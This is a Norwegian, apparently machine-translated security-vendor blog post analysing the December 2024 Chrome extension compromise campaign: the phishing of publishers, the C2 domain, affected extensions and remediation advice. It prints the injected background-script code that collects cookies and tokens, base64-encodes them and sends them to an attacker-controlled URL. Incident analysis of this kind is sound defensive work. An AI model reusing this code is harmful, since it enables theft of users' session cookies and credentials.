Sist oppdatert: 30. desember 2024

Denne bloggtråden sporer den globale angrepskampanjen rettet mot nettleserutvidelser på Chrome Nettmarked. Vi vil oppdatere nye detaljer etter hvert som de blir tilgjengelige.

Sammendrag

27. desember 2024 avslørte Cybersecurity-oppstarten Cyberhaven at et angrep har kompromittert nettleserutvidelsen og injisert skadelig kode i den. Så snart detaljer om dette angrepet dukket opp, ble ytterligere kompromitterte nettleserutvidelser raskt oppdaget, med mer enn 25 utvidelser som er kjent for å ha blitt påvirket.

Livetråden nedenfor forklarer alle detaljene vi vet, hvilke utvidelser som har blitt påvirket, hvordan organisasjoner bør beskytte seg selv, og hvordan LayerX hjelper kundene sine med å adressere utvidelser som er kompromittert av dette angrepet.

Hurtigkoblinger inne i dette dokumentet:

  • Hvordan angrepet ble oppdaget
  • Hvordan angrepet ble utført
  • Teknisk analyse av angrepet
  • Ytterligere berørte utvidelser
  • Hvordan beskytte deg selv
  • Hvordan LayerX hjelper kunder med å beskytte seg selv
  • Gratis revisjon og utbedring av kompromitterte utvidelser

Hvordan angrepet ble oppdaget

27. desember 2024 varslet Cyberhaven sine kunder om et sikkerhetsbrudd som førte til kompromittering av legitimasjonen til en Cyberhaven-ansatt, som ble brukt til å sende en ondsinnet versjon av Cyberhavens nettleserutvidelse til Chrome Store. Cyberhaven Security Extension har for tiden over 400,000 XNUMX brukere, som antagelig ble påvirket av dette bruddet.

Nyheten om hendelsen var første rapport fra cybersikkerhetsbloggen Vulnu, som fikk en kopi av Cyberhaven't e-post til kunder.

I følge Cyberhavens analyse kompromitterte et phishing-angrep den 24. desember en av deres ansatte, noe som resulterte i at angripere fikk tilgang til selskapets nettleserutvidelse på Chrome Nettmarked.

Angripere utnyttet deretter denne tilgangen til å laste opp en ondsinnet versjon av Cyberhavens nettleserutvidelse og oppdaterte den på Chrome Store tidlig 25. desember.

Ifølge Cyberhaven ble den ondsinnede oppdateringen oppdaget omtrent et døgn senere, og den ondsinnede koden ble fjernet i morgentimene 26. desember. Alt i alt var den ondsinnede versjonen på nett i litt over 24 timer.

Men da det begynte å dukke opp at flere utvidelser ble kompromittert, ble det tydelig at Cyberhaven-angrepet ikke var et isolert angrep rettet mot kun dette selskapet, men snarere en del av en omfattende kampanje. 

Dette gjør analyse av Cyberhaven-hendelsen relevant for å forstå kampanjen som helhet.

Hvordan angrepet ble utført

Administrasjonskontoen til Cyberhaven-nettleserutvidelsen ble kompromittert via et målrettet phishing-angrep, slik at den angrepne kunne publisere en ondsinnet versjon av den.

Siden denne hendelsen ikke bare var et engangsangrep, men en del av en kampanje rettet mot flere utvidelser, tror vi at phishing-tilnærmingen som ble brukt for å angripe Cyberhaven også ble replikert med alle andre utvidelser.

Den mest sannsynlige kilden til mål for phishing-kampanjen er selve Chrome Nettmarked.

For hver utvidelse gir Chrome Store detaljer om utvidelsesutgiveren, sammen med en kontakt-e-postadresse:

 

 

Eksempel på kontaktinformasjon for nettleserutvidelsen Cyberhaven, fra Chrome Nettmarked

Ved å bruke disse e-postadressene sendte angripere falske e-poster som utgir seg for å være på vegne av Google, og varslet mottakere om "brudd" i kontoene deres.

Dette er en kopi av phishing-e-posten sendt til Cyberhaven, som selskapet ga som en del av deres teknisk analyse av hendelsen:

Imidlertid har lignende e-post dukket opp fra andre kilder, også: a tråd på Chromium.org-diskusjonsgruppen spurte om en mistenkelig e-post de angivelig har mottatt fra Google, for å forstå om dette er et phishing-forsøk:

Nettleserutvidelsesangrep 2024

Denne e-posten er nesten identisk med den som kompromitterte Cyberhaven (selv om den oppgir en annen årsak til brudd), som indikerer at den var en del av den samme phishing-kampanjen. I følge innlegget ble denne e-posten mottatt 23. desember, akkurat på det tidspunktet Cyberhaven ble brutt.

Når det tiltenkte målet klikket på e-postkoblingen, ble de ført til et Google-autorisasjonsskjema for å legge til en OAuth Google-applikasjon kalt «Personvernerklæringsutvidelser».

auth

Å følge denne godkjenningsflyten vil føre til autorisering av den ondsinnede tredjeparts OAuth-appen og gi den tilgang til offerets Chrome Nettmarked-konto. Men på grunn av måten angrepet ble bygget på, trengte ikke angriperne å kompromittere kontolegitimasjonen selv (dvs. passordet), bare "piggyback" på tillatelsene gitt av det ondsinnede programmet.

Teknisk analyse av angrepet

Så snart angriperne fikk tilgang til offerets nettbutikkkonto, injiserte de kode i utvidelsens worker.js-fil for å få tilgang til en ekstern URL (cyberhavenext[.]pro) og laste ned en ekstern konfigurasjonsfil.

Hver gang nettleseren ble startet, henter utvidelsen en konfigurasjonsfil fra en ekstern server. Denne filen kontrollerer utvidelsens oppførsel og kan oppdateres dynamisk av angriperen, slik at de kan diktere hva og når handlinger oppstår. angriperen kan bytte konfigurasjonsfilen når som helst, slik at de kan tilpasse angrepet til forskjellige miljøer eller mål dynamisk. Dette er nøkkelen til angrepets fleksibilitet.

Nedenfor er et eksempel på slik kode:

Nettleserutvidelser angriper ondsinnet kode

Nøkkelinnsikt fra koden:

  1. Injisert over flere forlengelser: Den ondsinnede koden er ikke begrenset til en enkelt utvidelse. I stedet har den blitt injisert i flere utvidelser, hvor hver utvidelse henter sin egen unike konfigurasjonsfil. Denne strategien lar angriperen diversifisere angrepsvektorene, tilpasse atferd for forskjellige utvidelser og gjøre deteksjon mer utfordrende.
  2. Tilbakevendende atferd: Konfigurasjonshentingen skjer hver gang nettleseren startes, og sikrer at hver utvidelse alltid fungerer med de siste instruksjonene gitt av angriperen.
  3. Villedende navngivning: Koden bruker variabel- eller attributtnavn, som f.eks cyberhavenext_ext_manage, som inneholder selskapets navn. Dette gjør at det virker legitimt for utviklere som inspiserer utvidelsens lagring eller kode.
  4. Misbruk av lokal lagring: Ved å lagre konfigurasjonsdataene i chrome.storage.local, sikrer angriperen utholdenhet. Utviklere som inspiserer disse dataene kan feilaktig stole på dem på grunn av bruken av kjente eller troverdige navn.
  5. Dynamisk kontroll: endepunktet (https://cyberhavenext.pro/ai-cyberhaven) lar angriperen endre konfigurasjonsfiler for hver utvidelse når som helst, og gir full kontroll over funksjonaliteten og oppførselen til hver infisert utvidelse.
  6. Tilpassede konfigurasjoner: Hver utvidelse henter en unik konfigurasjon, noe som gjør den ondsinnede atferden vanskeligere å generalisere og oppdage. Denne tilnærmingen tillater skreddersydde angrep basert på utvidelsens spesifikke formål eller brukerbase.

I tillegg la koden til en ny fil (content.js) til utvidelsene, brukt til å samle inn brukerdata på nettsteder og eksfiltrere den til en ekstern nettside. Bakgrunnsskriptet i utvidelsen fungerer som en sentral kontroller, håndterer innkommende meldinger fra innholdsskript og utfører ulike handlinger basert på disse meldingene. Følgende kodebit demonstrerer en fleksibel struktur som venter på å behandle flere typer forespørsler:

chrome.runtime.onMessage.addListener(((t, e, a) => {
switch (t.action) {
case"cyberhavenext-completions":
fetch("<https://chatgpt.com/status/>", {
method: "POST",
headers: {"Content-Type": "application/json", Authorization: `Bearer ${t.key}`},
body: JSON.stringify({prompt: "check", max_tokens: 150})
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-redirect":
fetch(t.url).then((t => t.redirected)).then((t => a(t))).catch();
break;
case"cyberhavenext-validate":
fetch(t.url, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(t.pl)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}));
break;
case"cyberhavenext-rtext":
fetch(t.url).then((t => t.text())).then((t => a(t))).catch();
break;
case"cyberhavenext-rjson":
fetch(t.url).then((t => t.json())).then((t => a(t))).catch();
break;
case"cyberhavenext-check-errors":
const e = t.pl;
let n = e.dm;
chrome.cookies.getAll({domain: n}, (n => {
if (n.length > 0) {
const o = n.map((t => ({
domain: t.domain,
expirationDate: t.expirationDate || null,
hostOnly: t.hostOnly,
httpOnly: t.httpOnly,
name: t.name,
path: t.path,
sameSite: t.sameSite || null,
secure: t.secure,
session: t.session,
storeId: t.storeId || null,
value: t.value
}))), c = e.n;
let s = "";
try {
s = btoa(JSON.stringify(e.openapi_u))
} catch (t) {
}
const i = e.openapi_tk + " || " + JSON.stringify(o) + " || " + btoa(navigator[c]) + " || " + e.uid + " || " + s + " || || " + e.k,
r = {ms1: btoa(i), ms2: JSON.stringify(e.cyberhavenext_cx), ms3: JSON.stringify(e.gpta)},
l = t.url;
fetch(l, {
method: "POST",
headers: {
Accept: "application/json, application/xml, text/plain, text/html, *.*",
"Content-Type": "application/json"
},
body: JSON.stringify(r)
}).then((t => t.json())).then((t => a(t))).catch((t => {
}))
}
}))
}
return !0
}))

Manuset bruker chrome.runtime.onMessage.addListener å behandle en rekke handlinger. Hver handling definerer en spesifikk atferd, for eksempel å lage nettverksforespørsler.

Når “cyberhavenext-check-errors” handlingen påkalles, henter angriperen sensitive informasjonskapsler ved hjelp av chrome.cookies.getAll angriperen kombinerer også disse dataene med annen informasjon (som navigator[c] og e.uid) vil angriperen skjule innholdet ved hjelp av btoa() for å konvertere den til base64. Dette gjør dataene mindre lesbare i nettverksovervåkingsverktøy, og legger til et lag med tilsløring.

Ved å bygge inn disse handlingene i bakgrunnsskriptet sikrer angriperen at:

  • Den ondsinnede aktiviteten er uavhengig av brukerinteraksjoner.
  • Det skjer stille i bakgrunnen, noe som gjør det vanskeligere å oppdage.
Analyse som Cyberhaven utførte på utsatte endepunkter indikerer at den skadelige koden fokuserte spesifikt på informasjonskapsler og autentiseringstokener for Facebook, og spesielt - Facebook-bedriftskontoer:

Ifølge Cyberhaven inkluderte de målrettede dataene Facebook-tilgangstokener, bruker-IDer, kontoinformasjon og Facebook Ads-kontodetaljer.

Ytterligere berørte utvidelser

Når URL-en til den ondsinnede C&C-serveren ble identifisert, brukte sikkerhetsforskere omvendt DNS for å identifisere flere domener som ble løst til samme IP-adresse. Dette førte til oppdagelse av flere kompromitterte nettleserutvidelser og avslørte omfanget av denne angrepskampanjen.

For tiden har mer enn 25 nettleserutvidelser, med en installasjonsbase på over 2.3 millioner brukere, blitt funnet å være kompromittert:

  • AI Assistant – ChatGPT og Gemini for Chrome
  • AI Shop Buddy
  • Bard AI chat
  • Bokmerke Favicon Changer
  • Castorus
  • ChatGPT Assistant – Smart søk
  • Cyberhaven sikkerhetsutvidelse V3
  • Tjen – Opptil 20 % Cash Back
  • E-post Hunter
  • GPT 4-sammendrag med OpenAI
  • GraphQL nettverksinspektør
  • Internxt VPN
  • Tastaturhistorikkopptaker
  • Papegøyesamtaler
  • Primus
  • Lesermodus
  • Rewards Search Automator
  • Søk Copilot AI Assistant for Chrome
  • Sorter etter eldst
  • Tackker – online keylogger-verktøy
  • TinaMind – Den GPT-4o-drevne AI-assistenten!
  • Ustemme
  • VidHelper – Videonedlasting
  • Vidnoz Flex – Videoopptaker og videodeling
  • Visuelle effekter for Google Meet
  • VPNCity
  • Wayin AI

Hvordan beskytte deg selv

Selv om teknisk analyse så langt har indikert at hovedmålet med denne kampanjen har vært tyveri av Facebook-legitimasjon og tilgangstokener, er det umulig å utelukke eksponering av legitimasjon til flere nettsteder.

Dette er grunnen til at LayerX anbefaler følgende handlinger for alle berørte brukere:

  1. Fjern berørte nettleserutvidelser: sørg for at alle berørte utvidelser er fjernet og/eller blokkert. Noen av utvidelsene har allerede lastet opp oppdaterte versjoner som fjernet den skadelige koden, men ikke alle. Dessuten vil eventuelle kompromitterte utvidelser som allerede er lastet ned, forbli utsatt til brukeren oppdaterer utvidelsesversjonen. Dette er grunnen til at det er viktig å aktivt deaktivere alle potensielt eksponerte utvidelser.
  2. Oppdater alle utvidelser til de nyeste versjonene: i tilfelle en rettelse er utstedt av utgiveren, er det viktig å oppdatere den installerte versjonen av utvidelsen så snart som mulig (forutsatt at den ikke allerede er fjernet)
  3. Slett alle informasjonskapsler for berørte brukere: Siden angrepet var rettet mot informasjonskapsler og tilgangstokener til nettsteder, er det viktig å slette alle eksisterende informasjonskapsler og oppdatere tilgangstokenene.
  4. Roter passord: Som en beste praksis anbefales det også å oppdatere alle passordene til berørte brukere, for å sikre at ingen tilgangslegitimasjon blir kompromittert.

Hvordan LayerX hjelper sine kunder

  1. Oppdagelse av utsatte utvidelser: Siden Cyberhaven-hendelsen ble avslørt, har sikkerhetsforskere over hele verden jobbet med å identifisere flere kompromitterte utvidelser. LayerX har vært aktiv i dette arbeidet, oppdaget en rekke slike utvidelser og kombinert det med offentlig tilgjengelig informasjon også.
  2. Deteksjon av ondsinnede utvidelser distribuert i kundenes nettverk: LayerX har kontinuerlig oppdatert listene sine over ondsinnede utvidelser for å inkludere utvidelser som oppdages å ha blitt kompromittert av dette bruddet. Hver gang en slik utvidelse oppdages, blir kundene umiddelbart varslet. I tillegg har LayerX aktivt kontaktet berørte kunder for å varsle dem om disse funnene.
  3. Implementering av automatiske håndhevingspolicyer: LayerX har oppdatert kundepolicy for å automatisk deaktivere alle kjente kompromitterte utvidelser.
  4. Sletting av utsatte brukeres informasjonskapsler: på brukerforespørsel kan LayerX aktivt håndheve sletting av informasjonskapsler på eksponerte brukere, og dermed tilbakestille informasjonskapsler og autentiseringstokener.
  5. Tving passordrotasjon for utsatte brukere: LayerX kan også distribuere sikkerhetspolicyer for å tvinge frem rotasjon av passord på utsatte brukere, for å sikre at ingen tilgangslegitimasjon forblir eksponert.

Gratis revisjon og utbedring av kompromitterte utvidelser

På grunn av bredden og omfanget av dette angrepet, tilbyr LayerX organisasjoner som er berørt av dette angrepet (eller bekymret for å bli potensielt påvirket) gratis revisjon og utbedring av nettleserutvidelser.

Denne revisjonen inkluderer:

  • Oppdagelse av alle nettleserutvidelser som er installert i miljøet ditt
  • Kartlegging av hvilke brukere som har hvilke utvidelser installert på endepunktene sine
  • Detaljert risikoscoring for hver nettleserutvidelse
  • Fjerning av kompromitterte ondsinnede nettleserutvidelser
  • Rotering av brukerinformasjonskapsler og passord, om nødvendig

Klikk her å melde seg på denne vurderingen.